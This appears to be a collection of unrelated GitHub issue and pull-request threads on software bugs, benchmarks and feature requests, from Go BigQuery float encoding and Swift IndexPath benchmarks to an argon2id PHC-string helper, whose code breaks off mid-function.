sample input for /intents/examples/list
{
    "intent": "common_teenus_ilm"
}

sample input for /intents/examples/add
{
  "intent": "common_teenus_ilm",
  "examples": [
    "test",
    "test1"
  ]
}

sample input for /intents/examples/update
{
  "intent": "common_teenus_ilm",
  "example": "ilm",
  "new_example": "ilm täna"
}

sample input for /intents/examples/delete
{
  "intent": "common_teenus_ilm",
  "example": "ilm"
}

@RaulAltmae please link this issue with an appropriate pull request.

Pull requests https://github.com/buerokratt/Training-Module/pull/173 https://github.com/buerokratt/Training-Module/pull/174 https://github.com/buerokratt/Training-Module/pull/175 https://github.com/buerokratt/Training-Module/pull/178

PR: https://github.com/buerokratt/Training-Module/pull/283
This pull request finalizes the add, update, and delete functionalities in examples.
The front-end is now slightly reworked with data being fetched for both intents and examples at once to avoid making too many requests and for the inevitable necessity of having to fetch entire intents for updating and saving examples anyway. LoadingDialogue is added to making change operations with examples and there is some refactor of things happening on the screen and in the background due to create, update, and delete requests all taking a bit of time to fetch back data.

Refactored front-end to properly process all requests.
Added OpenSearch and Database calls to update state together with file system updates.
Solved a variety of bugs in back-end (pipe symbol, nesting problems, empty intent issues).

Changes (adding, updateing and deleteing) are only seen after a page refresh.

Same bug as #74

[BUG]
Short summary: When adding examples to an intent you can edit an existing example to be the same as another example.
Expected result: You should not be able to enter the same example as another examle.
Real result: Even though when editing the example and adding the exact same words then the example is added and there is no error.
How to reproduce: login, go to https://admin.dev.buerokratt.ee/training/training/intents and select an intent where to add example. Then add two different examples and then modify one to be exactly like the other.
Pic:

PR to fix disallow creating duplicate examples by updating: https://github.com/buerokratt/Training-Module/pull/375


bigquery: Unable to upload rows with float64 values greater than or equal to 2e+19 and less than 1e+21

Uploading floating point values greater than or equal to 2e+19 and less than 1e+21 to Big Query using Golang does not seem to work. I don't know what the exact range of numbers which fail to upload is but that range seems to reproduce the problem. I am using Go 1.8, I have not tried it with other versions.
2017/04/10 11:45:59 googleapi: Error 400: Invalid JSON payload received. Unable to parse number.
[{"json":{"MyFloat":50000000000000000000

The following code reproduces the problem:
package main

import (
	"context"
	"log"

	"cloud.google.com/go/bigquery"
)

type Row struct {
	MyFloat float64
}

func (r *Row) Save() (map[string]bigquery.Value, string, error) {
	m := map[string]bigquery.Value{
		"MyFloat": r.MyFloat,
	}

	return m, "", nil
}

func main() {
	ctx := context.Background()
	bqClient, err := bigquery.NewClient(ctx, "myproject")
	if err != nil {
		log.Fatal(err)
	}

	uploader := bqClient.Dataset("dogs").Table("pugs").Uploader()

	r := Row{MyFloat: 5e+20}
	err = uploader.Put(ctx, r)
	if err != nil {
		log.Fatal(err)
	}
}

Schema:

I am not sure if this is relevant but 1e+21 is where the Golang JSON encoder starts encoding numbers using exponential notation.
Golang JSON Marshal 5e+20:
500000000000000000000
Golang JSON Marshal 5e+21:
5e+21

I tested with Go 1.7.5, and uploading floats between 2e+19 and 1e+21 works in 1.7.5.
The problem really seems to be specific to Go 1.8 and an implementation detail of Big Query?

This was indeed a change to Go, made deliberately to align with other implementations. See golang/go#20033.
The workaround is to encode the float as a string.
A couple of notes about your sample program: as written, you don't need the Save method, because the BigQuery client has built-in support for structs. In fact, your code doesn't call Row.Save, because you pass a Row to Put instead of a *Row.
But to encode the float as a string, you will need Save. Change the middle of Save to read
"MyFloat": fmt.Sprint(r.MyFloat),

and change the Put call to
err = uploader.Put(ctx, &r)

The workaround is to encode the float as a string.

Thanks for the workaround @jba !

A couple of notes about your sample program: as written, you don't need the Save method, because the BigQuery client has built-in support for structs. In fact, your code doesn't call Row.Save, because you pass a Row to Put instead of a *Row.

Oops. I will update the sample program.

@jba: If you open a bug against the Big Query issue tracker can you post a link here (so I can track the status of the bug)?


arch/xtensa/esp32s2: Add support for touch pad interrupts

Summary
Requires #8426.
Adds support for touch pad interrupts on ESP32-S2.
Impact
Full compatibility with the buttons example.
Testing
Tested using an ESP32-S2-Saola-1.

@lucasssvaz why is it as Draft?

@lucasssvaz why is it as Draft?

Bc it required the other PR first. I'll open it now.


[Bug] De-dupe RayCluster comments

Search before asking

[X] I searched the issues and found no similar issues.

KubeRay Component
ray-operator
What happened + What you expected to happen
There's a load of copy-pasted comments in example configuration for RayClusters, RayServices, and RayJobs.
This makes maintaining sample configuration very difficult.
Explanatory comments should be located in one place. Sample configs can link to the one place.
See https://github.com/ray-project/kuberay/pull/750#discussion_r1029928612
Reproduction script
Observe my pain in https://github.com/ray-project/kuberay/pull/761/files
Anything else
No response
Are you willing to submit a PR?

[ ] Yes I am willing to submit a PR!

This will be very helpful. Maybe we can maintain two configuration comments:
(1) Helm chart (values.yaml)
(2) Non-helm: Remove all comments in every sample YAML file, but add a link to point to a central configuration document. Hence, we do not need to update every sample YAML file when we update a single line of comment.
Does this make sense?

Yep, sounds about right.
Candidates for the central documented document are raycluster.complete, raycluster.complete.large, raycluster.autoscaler, raycluster.autoscaler.large
We could do raycluster.complete.large as the main documented example.
raycluster.autoscaler.large could document just autoscaling-related configuration.
The reason for emphasizing the "large" configs is that they are more appropriate for production.
The reason for splitting off autoscaler documentation is that it is best to emphasize that autoscaling is optional and "advanced".

We can use a sample YAML file as the central documented document or create a new MarkDown file (example). In addition, we can create other documents for different use cases (e.g. Autoscaler, fault tolerance, ... etc).

It would be great to have 1 documented yaml and a markdown file similar to the one in the Prometheus operator repo for each feature.
If I had to choose between the two, I would go for the professional-looking MD file.


Issue with ghost characters when exiting insert mode

When I exit insert mode and then go to save with :wq, I often see a ghost ":" or "w" character, which isn't actually saved to the file on disk.  This seems to only affect file types that have syntastic checking.  Here's a screencast of editing the file "testfile.js":
https://www.dropbox.com/s/0cm9131a9ovfz3v/syntastic_trim.mov?dl=0
If I rename the file to "testfile.txt" to disable syntax checking, then I don't see these ghost characters.  I turned on the following settings in my .vimrc:
let g:syntastic_full_redraws=0
let g:syntastic_check_on_wq=0

Really appreciate your help!

Contrary to the popular belief, syntastic has exactly zero control on low level redraws.  Please see #822 for more details.

let g:syntastic_full_redraws=0

This is not related to your problem.


Module '"single-spa-layout"' has no members exported 'matchRoute'.

Hello. In the cocumentation, we have a function matchRoute().
But, this function is not exported in single-spal-layout.js file.

Fixed in https://github.com/single-spa/single-spa-layout/releases/tag/v2.2.0


Nightly build fails

https://travis-ci.org/jgallagher/rusqlite/jobs/524571469
error[E0277]: the type `std::cell::UnsafeCell<std::option::Option<std::boxed::Box<std::cell::RefCell<regex::exec::ProgramCacheInner>>>>` may contain interior mutability and a reference may not be safely transferrable across a catch_unwind boundary
   --> src/functions.rs:635:12
    |
635 |         db.create_scalar_function("regexp", 2, true, move |ctx| {
    |            ^^^^^^^^^^^^^^^^^^^^^^ `std::cell::UnsafeCell<std::option::Option<std::boxed::Box<std::cell::RefCell<regex::exec::ProgramCacheInner>>>>` may contain interior mutability and a reference may not be safely transferrable across a catch_unwind boundary
    |
    = help: within `(std::string::String, regex::re_unicode::Regex)`, the trait `std::panic::RefUnwindSafe` is not implemented for `std::cell::UnsafeCell<std::option::Option<std::boxed::Box<std::cell::RefCell<regex::exec::ProgramCacheInner>>>>`
    = note: required because it appears within the type `thread_local::CachedThreadLocal<std::cell::RefCell<regex::exec::ProgramCacheInner>>`
    = note: required because it appears within the type `regex::exec::Exec`
    = note: required because it appears within the type `regex::re_unicode::Regex`
    = note: required because it appears within the type `(std::string::String, regex::re_unicode::Regex)`
    = note: required because of the requirements on the impl of `std::panic::UnwindSafe` for `std::ptr::NonNull<(std::string::String, regex::re_unicode::Regex)>`
    = note: required because it appears within the type `hashbrown::raw::RawTable<(std::string::String, regex::re_unicode::Regex)>`
    = note: required because it appears within the type `hashbrown::map::HashMap<std::string::String, regex::re_unicode::Regex, std::collections::hash_map::RandomState>`
    = note: required because it appears within the type `std::collections::HashMap<std::string::String, regex::re_unicode::Regex>`
    = note: required because it appears within the type `[closure@src/functions.rs:635:54: 653:10 cached_regexes:std::collections::HashMap<std::string::String, regex::re_unicode::Regex>]`

Seems related to:
https://github.com/rust-lang/regex/issues/576

Fixed in version 0.19.0


can this tool be made recursive ?

its very hard to get all folders to be detected , maybe can this tool be made recursive so you can just set vendor and system as paths and the tool will recursivly scan folders

Hi is your intention to use it like this?
$ java -jar MissingBlobs.jar ~/system ~/vendor

I was going to add an issue requesting the same but found it was already requested ... an year ago.
@joshuous since the OP hasn't replied, I'd like to chime in just to request that the recursive feature is really needed to get around listing every lib(64) directories to the program which is cumbersome sometimes (to me atleast). It would be nice to have a recursive option.

Can you provide an example of the preferred syntax for traversing blobs recursively? Would you expect it to respect the .gitignore file?

The preferred way to do recursive globbing is to have an option for it specifically, so that the users have both options (i.e, you can parse through blobs recursively or individually)  like how grep works with grep -r.
Something like:
./aosp-missing-blobs -r ~/system ~/vendor

Also, it may be subjective but I do not expect it to respect .gitignore whatsoever as most of the time I'll be running it either inside out directory of AOSP's build system (when I just finished cooking a fresh custom ROM) or inside a stripped out stock ROM dump - in both cases, .gitignore isn't present.

@saurabhchardereal, can you give this branch a try and let me know how it works for you? Use the -r flag to make it recursive.
https://github.com/joshuous/aosp-missing-blobs/tree/clap-cli
Warning that you should avoid comparing lib and lib64 blobs because they are different

This seems to be working as expected. Also asked my friend to confirm if it works for him too. Working properly for both of us.
Thanks!


Confusion as to how traffic redirection and health probes work together

Please provide us with the following information:

This issue is a: (mark with an x)

[x] bug report -> please search issues before submitting
[ ] documentation issue or request
[ ] regression (a behavior that used to work and stopped in a new release)

Issue description
Hello - marking this as a bug but it's entirely possible I'm misunderstanding things.
I have a web-based Container App that has been set up to redirect 100% traffic to its latest revision. I just started experimenting with health probes and defined the following simple probes:

I was under the impression that Container Apps will "wait" until those probes are successful before traffic actually gets redirected. However, if I purposefully cause my container to exit (I added exit 2 to its entrypoint), traffic is still getting redirected, even though the probes are clearly failing:

I should also note that I am explicitly redirecting traffic to the latest revision in my CI/CD workflow by running:
az containerapp ingress traffic set \
            --resource-group my-resource-group \
            --name my-container-app \
            --revision-weight latest=100

I have experimented with leaving this out (as I set this property when originally provisioning the Container App via Bicep, so I was unsure if it was necessary to re-declare it on every deployment), but this results in the traffic never getting redirected to the latest revision, even when the probes are successful:

Steps to reproduce

Create a Container App with traffic redirection logic set to send 100% to the latest revision
Add basic health probes to the app
Deploy a new revision that intentionally fails startup

Expected behavior [What you expected to happen.]
I expect traffic redirection to wait for the health probes to be successful.
Actual behavior [What actually happened.]
Traffic redirection does not wait for the probes to be successful, and in fact redirects even when the probes fail.
Screenshots
See above
Additional context
None

I think this is just a UX bug is which revision the UX interprets as "latest".
I just verified it, but you should be able to verify too that traffic to the app url should still be working despite the UI showing 100% on the failed revision.
You shouldn't need to have to run az containerapp ingress traffic set .. --revision-weight latest=100 everytime either.
The way the API works (or bicep) is if you have
"traffic": [
  {
    "latestRevision": true,
    "weight": 100
  }
]

That means you want 100% of traffic to go to the latestReadyRevisionName. If you look at the JSON view on the app resource (top right corner on the overview page)

You should see 2 properties, latestRevisionName and latestReadyRevisionName. the former is the latest revision that was created for that app regardless of its state. The latter is the latest one that was created that reached healthy/running state successfully at least once and is the target of that traffic policy shown above.
It appears that the UI is just resolving the value to display 100% next to incorrectly in that case. I've updated the UX team regarding this.


5.3 compiler does not like TimeLineCollectionView.framework

/...swift-week-view-master/Source/Views/WeekView.swift:12:8: Module compiled with Swift 4.2.1 cannot be imported by the Swift 5.3 compiler: /...swiftweek/swiftweek/TimelineCollectionView.framework/Modules/TimelineCollectionView.swiftmodule/x86_64.swiftmodule

https://github.com/EvanCooper9/swift-week-view/tree/spm-support#swift-package-manager

Awesome Thanks!


Move Login to header

Closes https://github.com/flathub/website/issues/135.
Open to any suggestions or changes.

Feel free to squash this down to one commit, when your rebasing.
Here's a list of probems with the current implementation:

Image should probably be on the right of the name
Button is heigher then the header itself, ideally it would be of the same height as the ones next to it
My name gets split into two rows kinda connected to the previous one
We might need to ellipse names at a certain length
displays completly wrong in mobile mode (collapsed header)

Image should probably be on the right of the name

Done.

My name gets split into two rows kinda connected to the previous one

I think I've added a fix for this, but you might need to check on your end.

We might need to ellipse names at a certain length

Also done, but I think overflow: hidden may of made this rare from actual happening.

displays completly wrong in mobile mode (collapsed header)

I think this is fixed now.

Button is heigher then the header itself, ideally it would be of the same height as the ones next to it

I'm guessing you mean when you highlight/hover over the button and the colour change is noticeably bigger than the other links? - If so, I'm still looking at this but it could be an issue while the profile image is active.
I will obviously tidy up the files and the commits once everyone is happy with this, and we take it out of draft status.

I will obviously tidy up the files and the commits once everyone is happy with this, and we take it out of draft status.

I usually don't look at stuff that's not rebased, as that rebase will change the code and therefore the review :)

I've rebased and squashed this.


Generation of probabilistic output - Initial functionality

As a users of IMPROVER data I want to have access to probabilistic data so that I can make better use of ensemble data and produce better results
Related issues: Potential pre-requisite of knowing how to encode this data in a cf compliant way #91
Acceptance criteria:

Have the the initial capability to produce percentiles and probabilities above thresholds

Subtasks

[x] CLI for threshold plugin, #98
[x] Import percentile conversion #69
[X] Import threshold plugin

All subtasks closed so closing ticket.


In the Node.js thrown an error: read ECONNRESET

Summary
Hello, when I was in the Node. Js to other server sends a request catch an error, has received the request and deal with the other server, but axios thrown response: undefined.
This my code:
async function onPaymentToBS(data) {
    const url = config.serverHost.bsWeb + '/BS/rest/payfor/doPayment';
    try {
        // 组装请求头
        var headers = generateHeaders(data);
        var params = {
            bankNo: data.bankCode,
            cityNo: data.cityCode,
            accntNo: data.accountCardID,
            accntNM: data.accountName,
            amt: data.paymentAmount
        };
        var hash = md5(data);
        headers.sign = hash;

        var response = await axios({ method: 'post', url: url, headers: headers, data: params});

        var result = response && response.data;
        return result;
    } catch (err) {
        logger.info('----- API:', url, '- The Error:', err);
        return null;
    }
}

Use try catch catch the error is as follows:
[2017-07-11 16:20:49.881] [INFO] server - ------ API: http://172.xx.x.xx:8080/api/rest/payfor/doPayment - The Error: { Error: read ECONNRESET
    at exports._errnoException (util.js:1022:11)
    at TCP.onread [as _originalOnread] (net.js:572:26)
  code: 'ECONNRESET',
  errno: 'ECONNRESET',
  syscall: 'read',
  config:
   { adapter: [Function: httpAdapter],
     transformRequest: { '0': [Function: transformRequest] },
     transformResponse: { '0': [Function: transformResponse] },
     timeout: 30000,
     xsrfCookieName: 'XSRF-TOKEN',
     xsrfHeaderName: 'X-XSRF-TOKEN',
     maxContentLength: -1,
     validateStatus: [Function: validateStatus],
     headers:
      { Accept: 'application/json, text/plain, */*',
        'Content-Length': 103,
        'Serial-No': 'I000047/11/201770756',
        AppID: 'I00004',
        Timestamp: '1499761249',
        Signature: '893521A07D25564EBD9CA6155B4DC715',
        sign: 'a509036c30a7f24f89624ca87cf5291d',
        'Content-Type': 'application/json',
        'User-Agent': 'axios/0.16.1' },
     method: 'POST',
     data: '{"bankNo":"000006","cityNo":"0100","accntNo":"62268888888888","accntNM":"Mr.Zhang","amt":"125800.00"}',
     url: 'http://172.xx.x.xx:8080/api/rest/payfor/doPayment' },
  response: undefined }

This error is occasional.
Context

axios version: v0.16.1
Environment: node v7.4.0, GNU/Linux

The connection was reset, so there is no response. You'll want to look at the error's code property for ECONNRESET and handle that case appropriately.


[benchmark] Add benchmarks for IndexPath's subscripts, max, min

Adds IndexPath benchmarks for the following, and is part of SR-8908:

subscript(_:IndexPath.Index)
subscript(_:Range<IndexPath.Index>)
max()
min()

These are the added benchmarks:

IndexPathSubscriptMutation: Increments an element at the given index by 1.
IndexPathSubscriptRangeMutation: Adds an IndexPath to the given index range.
IndexPathMaxBeginning: Checks max(), with the max value at the beginning.
IndexPathMaxMiddle: Checks max(), with the max value at the middle.
IndexPathMaxEnd: Checks max(), with the max value at the end.
IndexPathMinBeginning: Checks min(), with the min value at the beginning.
IndexPathMinMiddle: Checks min(), with the min value at the middle.
IndexPathMinEnd: Checks min(), with the min value at the end

This is my first contribution; open to any comments!
Resolves SR-13801

@swift-ci Please benchmark

Performance: -O

Regression
OLD
NEW
DELTA
RATIO

DataCreateEmpty
80
100
+25.0%
0.80x

Improvement
OLD
NEW
DELTA
RATIO

ObjectiveCBridgeStubDateAccess
152
130
-14.5%
1.17x

FlattenListFlatMap
4745
4181
-11.9%
1.13x (?)

DataSubscriptMedium
41
37
-9.8%
1.11x (?)

Added
MIN
MAX
MEAN
MAX_RSS

IndexPathMaxBeginning
13995
14554
14302
—

IndexPathMaxEnd
13003
13673
13352
—

IndexPathMaxMiddle
13606
13662
13625
—

IndexPathMinBeginning
13083
13552
13361
—

IndexPathMinEnd
13958
14120
14033
—

IndexPathMinMiddle
13643
14120
13849
—

IndexPathSubscriptMutation
32706
32935
32806
—

IndexPathSubscriptRangeMutation
36609
37065
36908
—

Code size: -O

Regression
OLD
NEW
DELTA
RATIO

TestsUtils.o
27832
28270
+1.6%
0.98x

Improvement
OLD
NEW
DELTA
RATIO

DriverUtils.o
128895
127343
-1.2%
1.01x

Performance: -Osize

Regression
OLD
NEW
DELTA
RATIO

Array2D
4704
5248
+11.6%
0.90x (?)

Improvement
OLD
NEW
DELTA
RATIO

ReversedArray2
109
96
-11.9%
1.14x (?)

PointerArithmetics
19500
17400
-10.8%
1.12x (?)

DataCountMedium
19
17
-10.5%
1.12x (?)

ProtocolDispatch
239
217
-9.2%
1.10x (?)

Added
MIN
MAX
MEAN
MAX_RSS

IndexPathMaxBeginning
13971
14066
14018
—

IndexPathMaxEnd
13034
13531
13280
—

IndexPathMaxMiddle
13458
13692
13585
—

IndexPathMinBeginning
13179
13289
13237
—

IndexPathMinEnd
13758
14166
14012
—

IndexPathMinMiddle
13494
13949
13672
—

IndexPathSubscriptMutation
33912
34116
34003
—

IndexPathSubscriptRangeMutation
35662
35994
35804
—

Code size: -Osize
Performance: -Onone

Regression
OLD
NEW
DELTA
RATIO

DataSubscriptMedium
91
101
+11.0%
0.90x (?)

Added
MIN
MAX
MEAN
MAX_RSS

IndexPathMaxBeginning
156051
156366
156199
—

IndexPathMaxEnd
144466
145443
145112
—

IndexPathMaxMiddle
151959
152526
152336
—

IndexPathMinBeginning
145086
145704
145449
—

IndexPathMinEnd
159997
160944
160562
—

IndexPathMinMiddle
152342
152715
152590
—

IndexPathSubscriptMutation
170362
170675
170530
—

IndexPathSubscriptRangeMutation
69211
69345
69294
—

Code size: -swiftlibs

✅
Benchmark Check Report

⛔⏱
IndexPathMinMiddle execution took at least 12425 μs.  Decrease the workload of IndexPathMinMiddle by a factor of 16 (100), to be less than 1000 μs.

⛔⏱
IndexPathMaxBeginning execution took at least 12958 μs.  Decrease the workload of IndexPathMaxBeginning by a factor of 16 (100), to be less than 1000 μs.

⛔⏱
IndexPathMaxMiddle execution took at least 12424 μs.  Decrease the workload of IndexPathMaxMiddle by a factor of 16 (100), to be less than 1000 μs.

⛔⏱
IndexPathMinEnd has setup overhead of 764 μs (5.8%).  Move initialization of benchmark data to the setUpFunction registered in BenchmarkInfo.

⛔⏱
IndexPathMinEnd execution took at least 12430 μs (excluding the setup overhead).  Decrease the workload of IndexPathMinEnd by a factor of 16 (100), to be less than 1000 μs.

⛔⏱
IndexPathMaxEnd execution took at least 12354 μs.  Decrease the workload of IndexPathMaxEnd by a factor of 16 (100), to be less than 1000 μs.

⚠🔤
IndexPathSubscriptRangeMutation name is composed of 5 words.  Split IndexPathSubscriptRangeMutation name into dot-separated groups and variants. See http://bit.ly/BenchmarkNaming

⛔⏱
IndexPathSubscriptRangeMutation has setup overhead of 36224 μs (105.5%).  Move initialization of benchmark data to the setUpFunction registered in BenchmarkInfo.

⚠⏱
IndexPathSubscriptRangeMutation execution took -1887 μs.  Increase the workload of IndexPathSubscriptRangeMutation to be more than 20 μs.

⚠Ⓜ
IndexPathSubscriptRangeMutation has very wide range of memory used between independent, repeated measurements.  IndexPathSubscriptRangeMutation mem_pages [i1, i2]: min=[24, 24] 𝚫=0 R=[23, 18]

⛔⏱
IndexPathMinBeginning execution took at least 12353 μs.  Decrease the workload of IndexPathMinBeginning by a factor of 16 (100), to be less than 1000 μs.

⛔⏱
IndexPathSubscriptMutation execution took at least 30289 μs.  Decrease the workload of IndexPathSubscriptMutation by a factor of 32 (100), to be less than 1000 μs.

How to read the data
The tables contain differences in performance which are larger than 8% and
differences in code size which are larger than 1%.
If you see any unexpected regressions, you should consider fixing the
regressions before you merge the PR.
Noise: Sometimes the performance results (not code size!) contain false
alarms. Unexpected regressions which are marked with '(?)' are probably noise.
If you see regressions which you cannot explain you can try to run the
benchmarks again. If regressions still show up, please consult with the
performance team (@eeckstein).

Hardware Overview
  Model Name: Mac mini
  Model Identifier: Macmini8,1
  Processor Name: 6-Core Intel Core i7
  Processor Speed: 3.2 GHz
  Number of Processors: 1
  Total Number of Cores: 6
  L2 Cache (per Core): 256 KB
  L3 Cache: 12 MB
  Memory: 64 GB

Going to address these results.

Hopefully fixed those issues now. I ran my changes locally and got improved numbers.

Hopefully fixed those issues now. I ran my changes locally and got improved numbers.

As a general comment: we should try to keep the number of benchmarks to a minimum (while still testing what we want to test). Adding a full set of permutations for each language feature would just explode the benchmark run time.
You are not adding too many benchmarks here, but maybe you can still extract a representative set out of these 8 benchmarks - or test several variations in a single benchmark.
Note that it's still possible to keep all benchmarks around by adding the .skip tag. If someone wants to test the complete set of benchmarks, it can be done locally by specifying the IndexPath tag what you added.

Thanks for the pointers. I opted to test several variations in a single benchmark. Let me know what you think :)

Cool. Fixed!

@swift-ci benchmark

@swift-ci smoke test

Performance: -O

Added
MIN
MAX
MEAN
MAX_RSS

IndexPath.Max
514
527
521
—

IndexPath.Min
514
514
514
—

IndexPath.Subscript.Mutation
475
476
476
—

IndexPath.Subscript.Range.Mutation
247
253
249
—

Code size: -O

Regression
OLD
NEW
DELTA
RATIO

TestsUtils.o
27832
28270
+1.6%
0.98x

Improvement
OLD
NEW
DELTA
RATIO

DriverUtils.o
129007
127455
-1.2%
1.01x

Performance: -Osize

Regression
OLD
NEW
DELTA
RATIO

ObjectiveCBridgeStubDateMutation
257
285
+10.9%
0.90x (?)

Array2D
6928
7520
+8.5%
0.92x (?)

RandomShuffleLCG2
416
448
+7.7%
0.93x (?)

Improvement
OLD
NEW
DELTA
RATIO

String.data.LargeUnicode
138
112
-18.8%
1.23x (?)

ProtocolDispatch
371
342
-7.8%
1.08x

Added
MIN
MAX
MEAN
MAX_RSS

IndexPath.Max
518
526
521
—

IndexPath.Min
515
516
516
—

IndexPath.Subscript.Mutation
477
478
477
—

IndexPath.Subscript.Range.Mutation
233
236
234
—

Code size: -Osize
Performance: -Onone

Regression
OLD
NEW
DELTA
RATIO

NSStringConversion.Rebridge.Mutable
1827
2082
+14.0%
0.88x (?)

Improvement
OLD
NEW
DELTA
RATIO

DataAppendDataMediumToMedium
7360
6480
-12.0%
1.14x (?)

Added
MIN
MAX
MEAN
MAX_RSS

IndexPath.Max
672
684
676
—

IndexPath.Min
669
669
669
—

IndexPath.Subscript.Mutation
520
520
520
—

IndexPath.Subscript.Range.Mutation
251
257
253
—

Code size: -swiftlibs

✅
Benchmark Check Report

How to read the data
The tables contain differences in performance which are larger than 8% and
differences in code size which are larger than 1%.
If you see any unexpected regressions, you should consider fixing the
regressions before you merge the PR.
Noise: Sometimes the performance results (not code size!) contain false
alarms. Unexpected regressions which are marked with '(?)' are probably noise.
If you see regressions which you cannot explain you can try to run the
benchmarks again. If regressions still show up, please consult with the
performance team (@eeckstein).

Hardware Overview
  Model Name: Mac Pro
  Model Identifier: MacPro6,1
  Processor Name: 12-Core Intel Xeon E5
  Processor Speed: 2.7 GHz
  Number of Processors: 1
  Total Number of Cores: 12
  L2 Cache (per Core): 256 KB
  L3 Cache: 30 MB
  Memory: 64 GB

Build failed before running benchmark.


bug:wrong labelling of toolbar

Summary
Home should be labeled on back press and accounts should be linked in drawer.
ScreenShot

Closed


dns: fix lifetime issue with local context

Make sure the DNS code can handle the creating factory (and context) being destroyed before the DNS cache.
Risk Level: low
Testing: new unit tests
Docs Changes: n/a
Release Notes: n/a

I'm not quite sure what you mean regarding testing.  Do you mean the client thread should try to get a dns cache, or we should have a filter which posts a getCache attempt on the main server thread?  Either way I'm not sure it'd repro the problem since the problem is AFIK the factory context going out of scope too early, and I don't think that'd happen for Envoy-the-server.  I've added a unit test to specifically test the lifetime issue and confirmed it fails on asan.  I'm inclined to think if we want to integration test lifetime, we should do it on the envoy mobile side since that has the threading and factory set up to reproduce the issue?

Do you mean the client thread should try to get a dns cache, or we should have a filter which posts a getCache attempt on the main server thread?

I was suggesting having the test thread (not a filter) post a getCache() attempt to the main thread and make sure it returns a cache. IMO that would be valuable, but if your unit test crashes also before the fix that's fine with me.

cc @goaway @buildbreaker @mergeconflict sorry for the issue but this should fix. lmk if you want me to bump envoy-mobile to pick up the fix


I think this is the least bad option. Other things I tried include:

Getting rid of RealmCollectionBase, since >=3.2 doesn't require it. Unfortunately, because of the way Swift's #if works (i.e. not like the CPP), and because the syntax for associated types changed between 3.1 and 3.2, the entire protocol would have to be declared twice, once for 3.1 and once for >=3.2.
Making Swift 3.1 use Element instead of ElementType in all the declarations in the protocol and classes that conform to it. Unfortunately bugs in Swift 3.1's compiler make it fail to associate the generic types on the conforming types with the associated type with the same name (Element, from the parent Collection requirement), requiring them to have different names and a typealias to link them.

Ideas are welcome.

The build was failing before because the Swift >=3.2 branch of the source doesn't define any type or type parameter named ElementType. This build defines that type (by making it a typealias of Element) so that Realm Swift compiles. Does that help?

Isn't the problem just that 54bc3f9d0 missed a spot when renaming Element to ElementType? The protocol definition should be public protocol RealmCollectionBase: RandomAccessCollection, LazyCollectionProtocol, CustomStringConvertible, ThreadConfined where ElementType: RealmCollectionValue

@tgoyne yeah, that's the correct way to fix this.

Actually, it turns out the where clause is constraining an existing (inherited) associated type Element, and the typealias is required after all :|. (I hate the protocol where syntax.)

Okay, I think I understand this now. We want to just be using Element everywhere, but that hits bugs(?) in Swift 3.1 that we're sidestepping by using ElementType on the protocol, which then requires a typealias back to Element. If that's all correct then this seems fine other than that it needs a comment explaining that so that we can clean it up when we drop Xcode 8 support.

Yes, precisely. I'll add the comment.


Editing a  post adds duplicate tags

When you edit a post with 1 or more tags, it will add those same tags as duplicate tags after you publish. Then if you edit again, it will add even more duplicate tags.

If I'm editing a post and try to delete all the tags, they will appear to delete, but when you publish it will show the tags.


Deprecate configs in version 3?

The docs indicate that a number of config settings will be deprecated in version 3. Is it too soon to work on removing those settings for version 3?

Since 2.x has its own branch I don't see any reason against removing them in master.

Yeah, we can remove these in master.

I read 0.8+ or 1.0.10+ for 2.x, i run with SQLalchemy 1.3.3 and everything seems ok.
Is it an oversight or you have not yet checked 2.4.0 with 1.3.x ?

@johaven if I'm understanding your question, Flask-SQLAlchemy is compatible with SQLAlchemy 0.8+ for Python 2.7, 3.4+, and compatible with SQLAlchemy 1.0.10+ w/ Python 3.7.

To be more precise, is '1.0.10 and higher' equivalent to '1.x'?

I don't believe '1.0.10 and higher' is equivalent to '1.x' in this case.
It looks like SQLAlchemy does have 1.x versions starting with 1.0.0, and the tox file in this project specifies 1.0.10 as the lowest Python 3.7 version, so I think when running Python 3.7, any version of SQLAlchemy below 1.0.10 isn't supported.

As I said above, I use the 1.3.x version of sqlalchemy and I want to know if it is compatible (I do not observe any bugs, and the documentation is for me not very clear on the subject ' 1.0.10 and higher 'or maybe it is not up to date)
@lbeaufort  https://docs.sqlalchemy.org/en/13/changelog/changelog_13.html#change-1.0.0

@lbeaufort Are you on it ?

I could be - I was waiting to see what kind of feedback I got from this PR: https://github.com/pallets/flask-sqlalchemy/pull/731
If you wanted to take a shot, feel free to put in a PR! Changes for 3.x should branch off master.

These were deprecated in 2.4 and removed in 3.0.


Improvement: PHC string handling & verify fn

A nice DX improvement would be to provide verify and hash functions that handles PHC strings.
Here's a wrapper I currently use which only depends on the rfc4648 package for base64 (by far the best implementation I could find) :

PHC string handlers
// This is free and unencumbered software released into the public domain.
//
// Anyone is free to copy, modify, publish, use, compile, sell, or
// distribute this software, either in source code form or as a compiled
// binary, for any purpose, commercial or non-commercial, and by any
// means.
//
// In jurisdictions that recognize copyright laws, the author or authors
// of this software dedicate any and all copyright interest in the
// software to the public domain. We make this dedication for the benefit
// of the public at large and to the detriment of our heirs and
// successors. We intend this dedication to be an overt act of
// relinquishment in perpetuity of all present and future rights to this
// software under copyright law.

// IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
// OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
// ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
// OTHER DEALINGS IN THE SOFTWARE.
//
// For more information, please refer to <https://unlicense.org>

import { base64 } from "rfc4648";

import loadArgon2idWasm, { Argon2idParams } from "argon2id";

const argon2id = await loadArgon2idWasm();

export const hash = (params: Argon2idParams) => {
  const digest = argon2id(params);

  return "$".concat(
    [
      "argon2id",
      `v=${0x13}`,
      [
        `m=${params.memorySize}`,
        `t=${params.passes}`,
        `p=${params.parallelism}`,
      ].join(","),
      base64.stringify(params.salt, { pad: false }),
      base64.stringify(digest, { pad: false }),
    ].join("$"),
  );
};

// NOT CONSTANT-TIME !
export const verify = (
  password: Uint8Array,
  phcString: string,
  secret?: Uint8Array,
) => {
  const [id, version, paramsString, saltB64, digestB64] = phcString
    .substring(1)
    .split("$", 5);

  if (id !== "argon2id") throw `unknown hashing function: ${id}`;
  if (version !== `v=${0x13}`) throw `unknown argon2id version: ${version}`;

  const params = Object.fromEntries(
    paramsString.split(",").map((param) => param.split("=", 2)),
  );

  if (!("m" in params)) throw "missing `m` parameter";
  if (!("t" in params)) throw "missing `t` parameter";
  if (!("p" in params)) throw "missing `p` parameter";

  const memorySize = Number.parseInt(params.m);
  const passes = Number.parseInt(params.t);
  const parallelism = Number.parseInt(params.p);
  const ad =
